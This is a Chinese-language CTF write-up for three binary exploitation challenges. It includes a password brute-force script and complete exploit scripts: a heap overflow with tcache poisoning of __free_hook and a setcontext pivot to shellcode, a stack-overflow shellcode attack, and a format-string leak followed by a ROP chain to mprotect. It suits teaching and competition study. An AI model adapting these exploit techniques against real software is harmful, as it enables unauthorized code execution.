总结
10:30
才起床做题……pwn
是三道简单题,datasystem
拿了个一血。hahapwn
的远程靶机有问题,远程交互时惊现flag{flag_test}
。我沉思片刻,随即怀着忐忑的心情点了提交,然而这个flag
并不正确,有点迷。
datasystem
: 堆溢出 + setcontext
hehepwn
:shellcode
hahapwn
:格式化字符串+栈溢出
datasystem
保护全开
系统调用禁得很佛系,arch
也没检查,系统调用号范围也没检查:
给的libc
版本是2.27
,有tcache
。
check分析
一进来有个check
函数,要求输入username
和passwd
:
最后需要通过校验:
从上图也能看出username
的校验是判断等不等于admin
,这里循环次数是6
,所以输入的时候后面带个\x00
才能通过username
的校验。
passwd
有点复杂,不过可以直接用ida
远程调试,查看一下比较s1
和s2
的时候,其值为多少。先随便输入密码,比如我先输入为passwd
为admin123
,发现s2
是一个16
进制字符串:
s1
还看不出什么。然后我直接拷贝了s2
作为密码输入:
然后发现s2
的第1
个字符变成了\x00
:
之后换别的密码,但是s2
第一个字符始终不是\x00
。这个时候,我猜测是不是密码的长度要为32
。于是分别输入32
个a
和32
个b
,发现s2
的第一个字符始终为\x00
。
有这么一个规律后,接下来可以爆破passwd
了,就是枚举爆破直到某次密码得到的s1
开头也是\x00
,那么strcmp
就能通过比较:
- 枚举所有的字符
- 输入
32
个同样的字符作为密码,判断是否通过校验
- 通过校验即可以作为有效的密码
爆破的脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
import string
from pwn import *
context.log_level="error"
for c in range(0x100):
c = c.to_bytes(1, 'big')
p = process('./datasystem')
p.sendafter("please input username: ", "admin\x00")
p.sendafter("please input password: ", c*32)
msg = p.recvline()
if b"Fail" not in msg:
print('='*60)
print("a valid char:", c)
print('='*60)
p.close()
|
最后得到两个可以用的密码:
对check
的分析即可告一段落,之后就是常规的堆溢出的题。
漏洞点
在add
分支,输入内容的时候,存在堆溢出,这的size
总是0x506
:
也可以用gdb
看一把:
利用思路
- 构造一个
unsorted bin
- 利用
chunk
中fd
与bk
残留的的地址泄露出libc
地址
- 利用堆溢出覆盖
free chunk
的fd
为__free_hook - 0x200
地址
- 分配到
__free_hook - 0x200
处,覆盖__free_hook
为setcontext+53
- 利用程序
mmap
的0x23330000
这一段rwx
内存执行shellcode
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
def login():
p.sendafter("please input username: ", "admin\x00")
p.sendafter("please input password: ", "c"*32)
def add(size, data="a\n"):
p.sendlineafter(">> :\n", "1")
p.sendlineafter("Size: \n", str(size))
p.sendafter("what's your Content: \n", data)
def delete(idx):
p.sendlineafter(">> :\n", "2")
p.sendlineafter("Index:\n", str(idx))
def show(idx):
p.sendlineafter(">> :\n", "3")
p.sendlineafter("Index:\n", str(idx))
m = p.recvline()
info(f"Get info:{m}")
return m
def edit(idx, data):
p.sendlineafter(">> :\n", "4")
p.sendlineafter("Index:\n", str(idx))
p.sendafter("Content:\n", data)
login()
add(0x420)
add(0x10) # 1
# get unsorted bin
delete(0)
# leak libc addr
add(0x8, "a"*8)
edit(0, "a"*8)
m = show(0)
libc_base_addr = u64_ex(m[0x11:0x17])- 0x3ec090
log_libc_base_addr(libc_base_addr)
libc.address = libc_base_addr
# overflow write
add(0x20) # 2
delete(2)
delete(0)
add(0x10, flat({0x10:[0, 0x311, libc.sym['__free_hook']-0x200]}))
add(0x20)
# setcontext to exec shellcode
payload = flat({
0x200:libc.sym['setcontext']+53,
0x100: 0x23330000, # rsp
0xa0: libc.sym['__free_hook']-0x100 ,# rsp
0x68: 0, # rdi
0x70: 0x23330000, # rsi
0x88: 0x200,
0xa8: libc.sym['read'] # rcx
}, filler="\x00")
add(0x20, payload)
delete(3)
sleep(1)
p.sendline(asm(shellcraft.cat("/flag")))
p.interactive()
|
远程打:
hehepwn
什么保护都没有,白给
漏洞点
填满0x20
个字符后可泄露栈地址:
栈溢出:
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
p.sendafter("well you input:\n", "a"*0x20)
m = p.recvuntil("\x7f")
addr = u64_ex(m[-6:])
log_address("stack addr", addr)
p.sendlineafter("EASY PWN PWN PWN~\n", flat({0:asm(shellcraft.cat('/flag')), 0x58: addr - 0x50}))
p.interactive()
|
远程打:
hahapwn
开启了NX
和Canary
,给的libc
版本是2.23
的:
强行禁用了execve
:
漏洞点
格式化字符串和栈溢出:
远程靶机很诡异啊,泄露出地址后,我用libc.sym['read']
执行read
会失败,但是用二进制文件的read@plt
可以成功,还有pop rdx; pop rsi; ret
远程也会失败,就很迷。后来改了下gadgets
,然后喜提test flag
:
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
libc: ELF = gift['libc']
# offset 6
p.sendafter("Welcome! What is your name?\n", "%25$p,%27$p,%28$p")
m = p.recvline_startswith('0x')
log_ex(f"{m}")
leak_addr = int16(m[:14].decode()) - 324 - libc.sym['setvbuf']
log_libc_base_addr(leak_addr)
libc.address = leak_addr
canary = int16(m[15:33].decode())
log_address("canary", canary)
stack_addr = int16(m[34:48].decode())
log_address("stack", stack_addr)
start_addr = stack_addr - 0xc0
bss_addr = 0x601080
read_addr = 0x4005e0
puts_addr = 0x4005b0
libc_rdi_ret = leak_addr + 0x0000000000021112
libc_rdx_ret = leak_addr + 0x0000000000001b92
libc_rsi_ret = leak_addr + 0x00000000000202f8
libc_rax_ret = leak_addr + 0x000000000003a738
libc_syscall_ret = leak_addr + 0x00000000000bc3f5
payload = flat([
0x68*"a",
canary,
0,
libc_rdi_ret, 0,
libc_rsi_ret, bss_addr,
libc_rdx_ret, 800,
read_addr,
libc_rdi_ret, bss_addr,
puts_addr,
libc_rdi_ret, bss_addr &~0xfff,
libc_rsi_ret, 0x1000,
libc_rdx_ret, 7,
libc_rax_ret, SyscallNumber.amd64.MPROTECT,
libc_syscall_ret,
bss_addr
], filler="\x00", length=0x200)
p.sendafter("What can we help you?\n", payload)
p.send(asm(shellcraft.cat('/flag')))
flag_ = p.recvline_startswith("flag")
log_ex(f"Get flag: {flag_}")
p.interactive()
|
exp
均使用我自己写的小工具pwncli
编写,欢迎试用~
其他链接
1、My Blog
2、Ctf Wiki
3、pwncli